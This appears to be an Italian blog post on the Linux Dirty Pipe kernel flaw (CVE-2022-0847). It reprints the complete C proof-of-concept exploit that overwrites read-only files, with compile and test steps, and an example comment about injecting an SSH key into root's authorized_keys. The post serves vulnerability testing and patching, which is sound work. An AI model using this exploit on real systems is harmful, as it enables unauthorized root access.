Una nuova sfida per i team di sicurezza Linux, ecco a voi Dirty Pipe

0

Quest’anno continua a confermarsi una vera sfida per i team di sicurezza. Questa volta si tratta della nuova vulnerabilità che affligge tutti i kernel Linux a partire dalla versione 5.8: CVE-2022-0847, chiamata Dirty Pipe.

Dirty Pipe è una vulnerabilità spiritualmente molto simile a Dirty Cow ma resta più semplice da applicare. Sfrutta un bug delle Pipeline (da qui il nome “Pipe”), permettendo la sovrascrittura di file teoricamente read-only e consentendo potenzialmente un escalation di privilegi.

Nella ricerca condotta da CM4all viene anche spiegato come questa vulnerabilità possa essere impiegata praticamente, consentendo ad un utente qualsiasi i privilegi di root. Fortunatamente Dirty Pipe è stata già fixata nel kernel Linux 5.16.11, 5.15.25 and 5.10.102.

Se volete verificare di essere affetti da tale bug potete seguire gli step di seguito per compilare e testare la POC fornita da CM4all.

Prima di tutto create un file come utente root ed assicuratevi che gli altri utenti abbiano solamente i permessi di lettura:

root@debian:~# echo "test string" > /tmp/test
root@debian:~# ls -l /tmp/test
-rw-r--r-- 1 root root 12 Mar  9 11:55 /tmp/test

Da come potete vedere il file test è read-only per gli utenti non root. Successivamente effettuate il login come un utente non privilegiato e se volete, potete verificare se il file sia effettivamente read-only:

user@debian:~$ cat /tmp/test
test string
user@debian:~$ echo "exploited" > /tmp/test
-bash: /tmp/test: Permission denied

Infine incolliamo il seguente contenuto in un file chiamato write_anything.c:

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

Compiliamo la POC con il comando:

user@debian:~$ gcc write_anything.c -o write_anything

E testate se siete effettivamente affetti:

user@debian:~$ ./write_anything /tmp/test 1 $'\nexploited'
It worked!
user@debian:~$ cat /tmp/test
t
exploited

Che altro aggiungere? Buon patching!

Programmatore, amministratore di sistema e un appassionato del mondo Unix, ho iniziato ad utilizzare Linux da bambino perchè Windows “si bloccava” e da quel momento non ho usato altro. Con il tempo mi sono appassionato alla programmazione C e alla filosofie cardine del mondo Unix.

Sempre alla ricerca di qualcosa che possa stimolare la mia curiosità cerco di condividere quello che ho acquisito grazie ad essa.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *